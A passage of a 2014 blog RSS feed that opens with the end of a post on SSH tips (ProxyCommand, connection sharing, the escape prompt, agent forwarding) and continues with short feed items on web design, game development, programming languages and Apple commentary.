&lt;p&gt;&lt;span class="figure-number"&gt;Figure 3: &lt;/span&gt;ssh ProxyCommand diagram&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;
I've you've ever tried to copy a file from a NAT-ed machine, you'll see the usefulness in this: you can essentially treat the NAT-ed host as if there were no intermediate hosts between the ssh client and daemon.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-sharing-connections"&gt;
&lt;h4 id="sharing-connections"&gt;Sharing Connections&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-sharing-connections"&gt;
&lt;p&gt;
I often find that when I'm working on a remote host, there's a pretty good chance I'll need to scp a file over or log in again over another ssh session. While you &lt;i&gt;could&lt;/i&gt; negotiate another asymmetric ssh handshake, why not use your pre-existing connection to make speedier file copies or logins?
&lt;/p&gt;

&lt;p&gt;
Use &lt;code&gt;Controlpath&lt;/code&gt;:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;ssh-config&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-ssh-config"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-keyword"&gt;Host&lt;/span&gt; busyserver&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;Controlmaster&lt;/span&gt; auto&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;Controlpath&lt;/span&gt; ~/.ssh/ssh-%r@%h:%p.sock&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
This means upon first connection to &lt;code&gt;busyserver&lt;/code&gt;, ssh will create a socket in &lt;code&gt;~/.ssh/&lt;/code&gt; which can be shared by other commands. If you're using commands like rsync or scp, this can make repetitive copy tasks much quicker.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-conclusion"&gt;
&lt;h4 id="conclusion"&gt;Conclusion&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-conclusion"&gt;
&lt;p&gt;
These are just a few uses for ssh that I've come across. If anyone has other creative uses for it, I'd love to hear them.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-edit-bonus-round"&gt;
&lt;h4 id="edit-bonus-round"&gt;Edit: Bonus Round!&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-edit-bonus-round"&gt;
&lt;p&gt;
There's been great reception for this post both on reddit and twitter, so I couldn't help but add some of the great tips that people have been throwing at me.
&lt;/p&gt;

&lt;p&gt;
Credit goes to the ssh savants commenting on this blog post and over at the &lt;a href="https://pay.reddit.com/r/linux/comments/245jt9/ssh_kung_fu/"&gt;reddit thread&lt;/a&gt;.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-remote-file-editing-in-emacs"&gt;
&lt;h5 id="remote-file-editing-in-emacs"&gt;Remote File Editing in Emacs&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-remote-file-editing-in-emacs"&gt;
&lt;p&gt;
I'm a vim man, so I hadn't the slightest clue that you could leverage ssh equally well using emacs by opening a file path of the format &lt;code&gt;//user@host:/file&lt;/code&gt; in order to remotely edit files.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-the-secure-shell-shell"&gt;
&lt;h5 id="the-secure-shell-shell"&gt;The Secure Shell&amp;hellip; Shell&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-the-secure-shell-shell"&gt;
&lt;p&gt;
This one was new to me: try the key combination &lt;kbd&gt;C~&lt;/kbd&gt; while in an ssh session and you'll get a prompt that looks like this:
&lt;/p&gt;

&lt;pre class="example"&gt;
ssh&amp;gt;
&lt;/pre&gt;

&lt;p&gt;
(I have to hit return before the &lt;code&gt;~C&lt;/code&gt; key combo in zsh, but your shell's behavior may vary.)
&lt;/p&gt;

&lt;p&gt;
Try entering &lt;code&gt;help&lt;/code&gt; at this prompt to get a summary of the commands you can enter at the prompt. Essentially you can dynamically allocate forwarded ports from within your active ssh session. Who knew?
&lt;/p&gt;

&lt;p&gt;
I've actually used the key combination &lt;kbd&gt;~.&lt;/kbd&gt; many types to kill a hung ssh session but had no idea that I was using this feature of ssh.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-agent-forwarding"&gt;
&lt;h5 id="agent-forwarding"&gt;Agent Forwarding&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-agent-forwarding"&gt;
&lt;p&gt;
I actually use this pretty heavily but failed to mention it because I got lazy.
&lt;/p&gt;

&lt;p&gt;
When you negotiate pubkey authentication with ssh, you're just validating that your key gives you the rights to log in the the remote server. What if you want to get from that remote server to &lt;i&gt;another&lt;/i&gt; server?
&lt;/p&gt;

&lt;p&gt;
You could use password authentication to get to the other machine (ugly), place your private on the intermediate host (not a good idea to spread your private key around), &lt;b&gt;or&lt;/b&gt; you could use agent forwarding.
&lt;/p&gt;

&lt;p&gt;
Agent forwarding allows you to validate against that second machine by verifying that you're the owner of the permissioned private key somewhere down the chain. I don't want to make more diagrams so I'll make some ASCII art. Here are your hostnames:
&lt;/p&gt;

&lt;pre class="example"&gt;
sol ----------------------&amp;gt; terra ----------------------&amp;gt; luna
&lt;/pre&gt;

&lt;p&gt;
Your pubkey from sol is listed in &lt;code&gt;terra:~/.ssh/authorized_keys&lt;/code&gt;. Great! You ssh into terra:
&lt;/p&gt;

&lt;pre class="example"&gt;
sol ======================&amp;gt; terra ----------------------&amp;gt; luna
&lt;/pre&gt;

&lt;p&gt;
Now you want to get to luna. You can get there without your private key on terra by using a plain old
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;ssh luna&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Nice! With any key credentials stored on terra, you've authenticated to luna using the private key stored on sol. The only requirements for this feature are:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;On the client (sol in this example)
&lt;ul class="org-ul"&gt;
&lt;li&gt;Make sure you have the &lt;code&gt;ssh-agent&lt;/code&gt; program running (check if it's running with &lt;code&gt;ssh-add -L&lt;/code&gt; to list cached private keys)&lt;/li&gt;
&lt;li&gt;Cache your key with &lt;code&gt;ssh-add&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Prepend the line &lt;code&gt;ForwardAgent yes&lt;/code&gt; to your &lt;code&gt;~/.ssh/config&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Each intermediate server
&lt;ul class="org-ul"&gt;
&lt;li&gt;Ensure the line &lt;code&gt;AllowAgentForwarding yes&lt;/code&gt; is in &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
That's all there is. If this fails to work for you for some reason, the most common problem is that your key isn't cached in &lt;code&gt;ssh-agent&lt;/code&gt; on your local machine (again, confirm it's cached with &lt;code&gt;ssh-add -L&lt;/code&gt;.)
&lt;/p&gt;

&lt;p&gt;
Note that this technique of caching your key in ssh-agent also alleviates the annoyance of having to unlock a password-protected private key every time it's used by caching it for an extended period (with the associated security/convenience tradeoff of keeping your private key cached in memory.)
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id="footnotes"&gt;
&lt;h2 class="footnotes"&gt;Footnotes: &lt;/h2&gt;
&lt;div id="text-footnotes"&gt;

&lt;div class="footdef"&gt;&lt;sup&gt;&lt;a class="footnum" href="#fnr.ecdsa" id="fn.ecdsa"&gt;1&lt;/a&gt;&lt;/sup&gt; &lt;div class="footpara"&gt;&lt;p class="footpara"&gt;
A &lt;a href="https://pay.reddit.com/r/linux/comments/245jt9/ssh_kung_fu/ch3wruh"&gt;reddit user&lt;/a&gt; has noted that the ECDSA algorithm isn't entirely safe from a cryptographic standpoint, either. If &lt;a href="https://www.schneier.com/blog/archives/2013/09/the_nsa_is_brea.html#c1675929"&gt;Schneier&lt;/a&gt; recommends avoiding ecc crypto for the time being, I'll err on his side.
&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class="footdef"&gt;&lt;sup&gt;&lt;a class="footnum" href="#fnr.ssh-auto" id="fn.ssh-auto"&gt;2&lt;/a&gt;&lt;/sup&gt; &lt;div class="footpara"&gt;&lt;p class="footpara"&gt;
Another &lt;a href="https://pay.reddit.com/r/linux/comments/245jt9/ssh_kung_fu/ch3uzqo"&gt;reddit user&lt;/a&gt; has noted that this is typically accomplished by the shell. In the case of my shell (zsh), the oh-my-zsh autocomplete function I'm using does draw from &lt;code&gt;~/.ssh/known_hosts&lt;/code&gt;.
&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;


&lt;/div&gt;
&lt;/div&gt;</description><author>Tyblog</author><pubDate>Sun, 27 Apr 2014 09:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tjll.net/ssh-kung-fu/</guid></item><item><title>Internationalization on the Web - an often inconsistent and frustrating experience</title><link>https://www.planetjones.net/blog/27-04-2014/web-internationalization-often-inconsistent.html</link><description>Many websites / internet services are now offering their content in local languages - but the way this internationalization is implemented can cause frustration and annoyance to those whose only language is English.</description><author>Jonathan Jones homepage: planetjones.net</author><pubDate>Sun, 27 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.planetjones.net/blog/27-04-2014/web-internationalization-often-inconsistent.html</guid></item><item><title>Screenshot Saturday 168</title><link>https://etodd.io/2014/04/26/screenshot-saturday-168/</link><description>&lt;p&gt;This week was a ton of performance optimizations and graphics upgrades.&lt;/p&gt;
&lt;p&gt;Cascading shadow maps! Basically that means all the shadows are much sharper. It was surprisingly easy to implement and barely impacts performance.&lt;/p&gt;
&lt;p&gt;Here's a screenshot showing off the new shadows, plus a new character modeling experiment. Just testing things out for now. What do you think?&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/lj4bE7x.png"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/lj4bE7xl.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Turns out, Blender has something called Rigify that can automatically generate an absolutely kick butt IK rig for your character, complete with blend weights for skinning. It's not perfect, especially when there are separate disconnected pieces (eyeballs, for example), but the few problem areas are easy to correct manually. Here's the character animated with the default calculated weights. I haven't touched them at all yet:&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 26 Apr 2014 17:15:14 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/04/26/screenshot-saturday-168/</guid></item><item><title>Collecting wild snails</title><link>https://liza.io/collecting-wild-snails/</link><description>&lt;p&gt;I got quite a bit done on the snails yesterday, mostly focusing on creating a snail manager class, displaying snails using Canvas, and saving snails you choose to keep to the database. It&amp;rsquo;s all implemented really dodgily right now, but it&amp;rsquo;s mostly functional.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 26 Apr 2014 10:39:23 GMT</pubDate><guid isPermaLink="true">https://liza.io/collecting-wild-snails/</guid></item><item><title>Sidebar Transitions</title><link>http://tympanus.net/Development/SidebarTransitions/</link><description>&lt;p&gt;These are so cool&amp;#160;&amp;#8212;&amp;#160;and all done in CSS, no JavaScipt required. Manoela &amp;#8220;Mary Lou&amp;#8221; Ilic has to be one of the most talented web developers I have seen in a long while. If I ever decide to take this site in a more graphically-complex direction, I know exactly where I will look for inspiration.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://tympanus.net/Development/SidebarTransitions/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 26 Apr 2014 09:49:22 GMT</pubDate><guid isPermaLink="true">http://tympanus.net/Development/SidebarTransitions/</guid></item><item><title>Porting Game of Snails to PHP</title><link>https://liza.io/porting-game-of-snails-to-php/</link><description>&lt;p&gt;I&amp;rsquo;ve been playing around with PHP for the past few days. Last year for one of my One Game a Month projects I made &lt;a href="http://liza.io/gameofsnails"&gt;Game of Snails&lt;/a&gt;. I&amp;rsquo;ve been wanting to make a snail racing and breeding game for literally &lt;em&gt;years&lt;/em&gt;. I first started thinking about it when I discovered that video games were actually a thing - the idea was triggered by a real life snail racing experience I had when I was little in Ukraine, collecting and training snails in the rain at my grandparents&amp;rsquo; summerhouse near the Dnepr river.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Fri, 25 Apr 2014 21:09:43 GMT</pubDate><guid isPermaLink="true">https://liza.io/porting-game-of-snails-to-php/</guid></item><item><title>Predicting the Future</title><link>https://zacs.site/blog/tech-history-is-being-made-not-repeated.html</link><description>&lt;p&gt;These days it has become quite common to frame both current events and predictions of the future in terms of the past. Within the technology space, and particularly when talking about Apple, this is especially true&amp;#160;&amp;#8212;&amp;#160;even for me: every time I comment on a rumor, whether in regards to something so trivial as WWDC dates this year all the way up to the much more significant potential screen sizes at which the iPhone 6 could ship, I look to the past. In terms of WWDC, the past indicates it will take place some day in the month of June; turns out, it will run from June second through the sixth. Regarding the potential for the iPhone&amp;#8217;s screen size to increase, Apple&amp;#8217;s historical aversion to changing this aspect of their devices pitted against the fact that they did with the iPhone 5 and a growing desire for a larger device nevertheless makes a larger-screened iPhone a likely proposition. And so, were I a better man, thus would I place my bets.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/tech-history-is-being-made-not-repeated.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 25 Apr 2014 14:23:31 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/tech-history-is-being-made-not-repeated.html</guid></item><item><title>Why Node?</title><link>https://phacks.dev/articles/why-node</link><description>I am now convinced that Node is the future in Web development.</description><author>Nicolas Goutay</author><pubDate>Fri, 25 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://phacks.dev/articles/why-node</guid></item><item><title>mucks: automating screen and tmux</title><link>https://zserge.com/posts/mucks/</link><description>I can&amp;rsquo;t imagine my daily work in terminal without multiplexers. I used to use GNU Screen a couple of years ago, then I switched to Tmux.
There has been a lot of talks about screen vs tmux, and then vs byubu. I still use both, and I still like both. What I was really missing is session management.
Since my laptop&amp;rsquo;s uptime is normally more than a month - I just created windows manually and started programs manually and then just attached/detached until the next reboot.</description><author>zserge's blog</author><pubDate>Fri, 25 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/mucks/</guid></item><item><title>Modern design and Alan Kay</title><link>https://blog.separateconcerns.com/2014-04-25-design-alan-kay.html</link><description>&lt;p&gt;I have long been thinking that there is something wrong with modern product design thinking. I see designs that trade off almost all power, flexibility and composability for a smoother learning curve. I see designs that remove explicit controls and replace them by magic, choosing to hide essential complexity instead of reducing accidental complexity. I see designs optimized for new users and prospects instead of regular users, and designers who apparently consider documentation as something evil.&lt;/p&gt;
&lt;p&gt;I do not like that trend. Learning from a community where &lt;a href="http://en.wikipedia.org/wiki/RTFM"&gt;RTFM&lt;/a&gt; was often the right answer has been very beneficial to me when I was a child. I am also a proponent of simplicity and &lt;a href="https://web.archive.org/web/20140519002633/https://wiki.archlinux.org/index.php/The_Arch_Way#Simplicity"&gt;complexity without complication&lt;/a&gt;, as should be obvious from &lt;a href="http://files.catwell.info/notes/quotes.txt"&gt;the quotes&lt;/a&gt; I have been collecting over the last years.&lt;/p&gt;
&lt;p&gt;The name of Alan Kay can be found a few times in this file, and so I was very pleased to find out that he recently gave a talk where &lt;a href="https://www.youtube.com/watch?v=gTAghAJcO1o&amp;amp;t=765s"&gt;he puts words&lt;/a&gt; on that hard-to-describe feeling: that this design school, which postulates that educating users is a bad idea and that everything should be natural, is hindering progress.&lt;/p&gt;
&lt;p&gt;I found it so spot on that I decided to transcribe part of it below. I encourage you to read, and then watch the whole video if you can!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Human beings tend to hate learning curves, […] and marketing people really hate learning curves. […]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Any product today that requires a substantial learning curve is not what marketing people are looking for. As the joke goes, they want a brand new idea that has been perfectly tested. They would like something that people instantly recognize, but you’re the only person who has it. So they want something, essentially, that would have appealed to any cave person 100000 years ago, something that fits into what our genes set us up to be interested in.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;An interesting question is: if the bicycle were invented tomorrow, would it actually be carried through? Think of how dangerous a bicycle is, think of the lawsuits! The bicycle is only tolerated today because it has been around for a long time, when people didn’t sue when a kid got danked.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Another way to look at it is that the larger world out there is kind of a low pass filter. And this is still going on: the iPad has a much more brain-dead interface than the Mac. […] If you think of the iPad as a gesture device, a gesture is inherently something that gives you not just naturalness but efficiency. And so when you’re doing gestures-oriented computing, and the origin of that goes back into the 60s - there were some really wonderful systems back then, what you really want to do is to learn a bunch of gestures to make you fluent and efficient on the thing. And the iPad doesn’t have any particular way of teaching you those gestures. They don’t force the developers to put a teaching thing for those gestures in there. And so basically everything is devolved down to the few simple gestures that are generic to the iPad.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;This is kind of a dumb-down-ism that has been incredibly successful for people who are only interested in making money. It has not been good for personal computing. […]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;If we look at human psychometrics, […] when a new idea or tool appears, about 95% of us are what are called instrumental reasoners. […] And an instrumental reasoner is a person who judges the new idea or tool on whether it will advance their current goals. […] They are very conservative about shifting their goals. 5% of us are interested in the new idea or tool just because we’re interested in new ideas and tools, and many of these people actually change their goals when a new idea or tool appears.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;If we look at the other axis, about 85% of us do things primarily for social approval. That’s what extroversion actually means: it doesn’t mean you’re a performer, it means you are actually interested in the opinions of others. About 15% of us are inner-directed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="change in groups" src="img/kay-change-groups.png" /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you combine these two (and I realize that they might not be completely independent dimensions, but they are independent enough for this talk) you get this interesting thing: 1% of us is inner-directed, not so interested in the approval of others, and intrinsically interested in new ideas and tools.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;And 80% of us are goal-conservative, instrumental and directed by what our society thinks of us. This group requires almost everybody to agree on something before anybody agrees on something. […] So this group generally cannot do something just because it is a good idea. This is just not a concept that this group has, the majority of human beings. They’ll do something if it is actually part of a sanction. And so this group is capable of doing things that are terrible ideas […] if they’re sanctioned by the group. […]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;And it turns out of you want to make a change in the larger world, you have to do something with the 80%. The 1% are more or less always with us and doing things. Some eras they get burnt at the stake, some eras they get rejected. In the 60s they actually got funded for a while. Xerox PARC came out of the funding of those people in the 60s, but they’re always with us.&lt;/p&gt;
&lt;/blockquote&gt;</description><author>Separate Concerns</author><pubDate>Fri, 25 Apr 2014 01:30:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2014-04-25-design-alan-kay.html</guid></item><item><title>Real Food is Here</title><link>http://huckberry.com/blog/posts/real-food-is-here</link><description>&lt;p&gt;Hat-tip to another article from Huckberry, &lt;a href="http://huckberry.com/blog/posts/modern-pioneering"&gt;Modern Pioneering&lt;/a&gt;, that &lt;a href="https://zacs.site/blog/modern-pioneering.html"&gt;I just linked to&lt;/a&gt; for bringing this one from 2013 to my attention. In the past, I have written extensively about Rohan Anderson&amp;#8217;s own work, as well as his escapades: when he felled trees and &lt;a href="http://cabinporn.com/post/31346968688/hunter-grower-gather-blogger-rohan-anderson-built"&gt;built an awesome smokehouse&lt;/a&gt; by hand, that fantastic video led to a string of four posts&amp;#160;&amp;#8212;&amp;#160;&lt;a href="https://zacs.site/blog/something-to-it.html"&gt;Something to it&lt;/a&gt;, &lt;a href="https://zacs.site/blog/walk-it-off-brother.html"&gt;walk it off brother&lt;/a&gt;, &lt;a href="https://zacs.site/blog/hard-at-work.html"&gt;hard at work, living simple&lt;/a&gt;, and &lt;a href="https://zacs.site/blog/so-simple.html"&gt;so simple&lt;/a&gt;&amp;#160;&amp;#8212;&amp;#160;that effectively chronicled my amazement with and admiration for his chosen lifestyle. And then I stumbled across this piece, and all of those feelings rushed back even stronger than before.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://huckberry.com/blog/posts/real-food-is-here"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 24 Apr 2014 14:13:11 GMT</pubDate><guid isPermaLink="true">http://huckberry.com/blog/posts/real-food-is-here</guid></item><item><title>Modern Pioneering</title><link>http://huckberry.com/blog/posts/modern-pioneering</link><description>&lt;p&gt;Although I&amp;#8217;m still coming to terms with her use of &amp;#8220;#ModernPioneering&amp;#8221; when &lt;a href="https://twitter.com/GPellegrini/status/456464147094708224"&gt;promoting this&lt;/a&gt;, Huckberry&amp;#8217;s recent article on Georgia Pellegrini is great even if it does seem&amp;#160;&amp;#8212;&amp;#160;to me, at least&amp;#160;&amp;#8212;&amp;#160;almost absurd to see the two disparate worlds of pioneering and hashtags collide so inelegantly. Someday, I would love to live the lifestyle she leads: it sounds incredible.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://huckberry.com/blog/posts/modern-pioneering"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 24 Apr 2014 13:55:03 GMT</pubDate><guid isPermaLink="true">http://huckberry.com/blog/posts/modern-pioneering</guid></item><item><title>Apple and Nike</title><link>http://stratechery.com/2014/apple-nike/</link><description>&lt;p&gt;Ben Thompson has been killing it over at Stratechery lately, especially with this piece comparing Apple and Nike through the apt characterization of experience companies. As a recent convert from the Windows world, I can speak to the reality of Apple&amp;#8217;s unique (within the technology industry, at least) position as such a corporation from first-hand experience: from the outside looking in, I couldn&amp;#8217;t help but want to join this community and become a part of the Apple world. There are undoubtedly those who will discount even the accuracy of Apple&amp;#8217;s designation as an experience company rather than a behemoth fostering a cult of fanatic worshipers willing to pay any sum for their latest POS&amp;#160;&amp;#8212;&amp;#160;and that&amp;#8217;s not &amp;#8220;point of service&amp;#8221;&amp;#160;&amp;#8212;&amp;#160;offering, much less the ability for that to compel anyone to Apple&amp;#8217;s platforms over Windows and Android. However, it is very real. And most importantly, it&amp;#8217;s working.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/apple-nike/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 24 Apr 2014 11:17:27 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/apple-nike/</guid></item><item><title>George H. Jenner</title><link>https://jasoneckert.github.io/myblog/george-h-jenner/</link><description>&lt;p&gt;&lt;img alt="George1" src="george1.png#center" title="George1" /&gt;&lt;/p&gt;
&lt;p&gt;The picture above is the only mall in the Hespeler area of Cambridge (where I grew up).  If you look carefully, you’ll see that it’s currently being demolished (at the time of this post, it is almost entirely demolished).  I moved back to Hespeler after school to raise my daughter because it was a place I knew well, and I have many fond memories of this mall because I used to work there teaching piano for George H. Jenner.&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Thu, 24 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/george-h-jenner/</guid></item><item><title>Does Jeff Bezos Read Asymco?</title><link>http://stratechery.com/2014/jeff-bezos-read-asymco/</link><description>&lt;p&gt;I doubt it, but who knows&amp;#160;&amp;#8212;&amp;#160;maybe Jeff Bezos has an assistant gather Horace&amp;#8217;s articles every evening, print them onto sheets of newspaper, and insert the pages between those of his morning delivery of The Washington Post. Weirder things have happened before, anyway. To Ben&amp;#8217;s point though, making the distinction between novelty, creation, invention, and innovation is incredibly important regardless of which side of the fence you fall on, whether among those creating products or writing about them. Having a firm grasp of these marked differences will not only inform how one frames emergent technologies, developing market segments, and potential businesses, but the viability of focusing any attention on to any one&amp;#160;&amp;#8212;&amp;#160;or all&amp;#160;&amp;#8212;&amp;#160;of these areas as well.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/jeff-bezos-read-asymco/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 23 Apr 2014 18:17:55 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/jeff-bezos-read-asymco/</guid></item><item><title>Writing for Pageviews</title><link>https://zacs.site/blog/writing-for-pageviews.html</link><description>&lt;p&gt;When writing &lt;a href="https://zacs.site/blog/rethinking-rss.html"&gt;Rethinking RSS&lt;/a&gt; the other day, I started reflecting on my process for discovering and consuming new and interesting writing. This time around I zeroed in less on the specifics, though&amp;#160;&amp;#8212;&amp;#160;&lt;a href="https://zacs.site/blog/how-i-do-what-i-do.html"&gt;Tweetbot, Instapaper, and Reeder&lt;/a&gt;&amp;#160;&amp;#8212;&amp;#160;, more on the jobs I use those and other services to complete, and how that methodology could bode ill for the current metric by which website owners determine success, attain profitability, and measure popularity.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/writing-for-pageviews.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 23 Apr 2014 17:40:37 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/writing-for-pageviews.html</guid></item><item><title>Learning in the small</title><link>https://blog.separateconcerns.com/2014-04-22-learning-small.html</link><description>&lt;section id="Writing-a-Lisp"&gt;
&lt;h2&gt;Writing a Lisp&lt;/h2&gt;
&lt;p&gt;I like to learn new tools and concepts by experimenting with small projects whose sole purpose is to help me grasp something better. Working on a larger project in a team with other people is invaluable, but doing things on a smaller scale on my own offers a different perspective.&lt;/p&gt;
&lt;p&gt;Having recently started to write a lot more C at work than I used to, I felt that it was a good idea to do a smaller project in the language. It turned out &lt;a href="http://www.buildyourownlisp.com/"&gt;Build Your Own Lisp&lt;/a&gt; came out just when I needed it, so I &lt;a href="https://github.com/catwell/ownlisp"&gt;had a go at it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I cannot recommend this book enough if you feel like you would enjoy building a dynamic language in C from scratch (using just a parser library). It is one of the best tutorial-style books I have ever read. It achieves a perfect balance between being didactic and leaving freedom to the user.&lt;/p&gt;
&lt;p&gt;My Lisp ended up being different from the one described in the book in several minor ways. For instance: it has more types, builtins take expressions instead of values, values are based on a union (which saves memory), memory management works differently, the source more organized… In that respect the book delivers exactly what it promised: the reader is encouraged to build “his own” Lisp.&lt;/p&gt;
&lt;p&gt;In the end I got just what I wanted from this experience: I clearly improved my C and had the satisfaction to write a working programming language in a few hours scattered over three weekends.&lt;/p&gt;
&lt;p&gt;Oh, just in case you were wondering, nobody paid me to write that blog post!&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Moving-on-to-Go"&gt;
&lt;h2&gt;Moving on to Go&lt;/h2&gt;
&lt;p&gt;Next, I will probably be &lt;a href="https://gobyexample.com/"&gt;learning Go&lt;/a&gt;. Go is a weird language in that about half of the technical people I follow and look up to like it a lot, and the other half hates it. The latter tend to be users of languages with stricter type systems…&lt;/p&gt;
&lt;p&gt;I have to admit that, if I had looked solely at the technical merits of both languages, I would probably have learned more &lt;a href="http://www.rust-lang.org/"&gt;Rust&lt;/a&gt; instead. I already know some Rust, but not enough to use it productively. Its main advantages are its (arguably) better type system and the fact that it can run without a GC or a frontend, making it suitable to write dynamic libraries.&lt;/p&gt;
&lt;p&gt;However, Rust doesn’t look completely stable yet, whereas Go is already used in production by several serious companies. Also, I am a distributed systems programmer, and &lt;a href="https://perkeep.org"&gt;most&lt;/a&gt; &lt;a href="https://github.com/coreos/etcd"&gt;of&lt;/a&gt; &lt;a href="https://github.com/ha/doozerd"&gt;the&lt;/a&gt; &lt;a href="https://github.com/bitly/nsq"&gt;interesting&lt;/a&gt; &lt;a href="https://github.com/project-iris/iris"&gt;codebases&lt;/a&gt; I see popping up around in that field are written in Go.&lt;/p&gt;
&lt;p&gt;Moreover, Go appears to be a simpler language than Rust. I suspect I can learn enough of it to read code “fluently” and write some much faster. So Go it is, and Rust will probably be next.&lt;/p&gt;
&lt;/section&gt;</description><author>Separate Concerns</author><pubDate>Wed, 23 Apr 2014 00:59:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2014-04-22-learning-small.html</guid></item><item><title>Analog's Stranglehold of the Classroom</title><link>http://www.thenewsprint.co/blog/-analogs-stranglehold-of-the-classroom</link><description>&lt;p&gt;Interesting retrospective by Josh Ginter over at The Newsprint on his time in college and how, then, higher education seemed to approve more of analog note taking than digital, and why. Thankfully, that has largely ceased to be the case: in my last two semesters in college, I can think of only two classes&amp;#160;&amp;#8212;&amp;#160;math and Chinese, for during both those courses a romanized alphabet would have proved virtually worthless&amp;#160;&amp;#8212;&amp;#160;during which no one had a computer out. Aside from those two, it has become par for the course to use some sort of electronic device during class, whether a laptop or tablet, and for the most part teachers have accepted this. 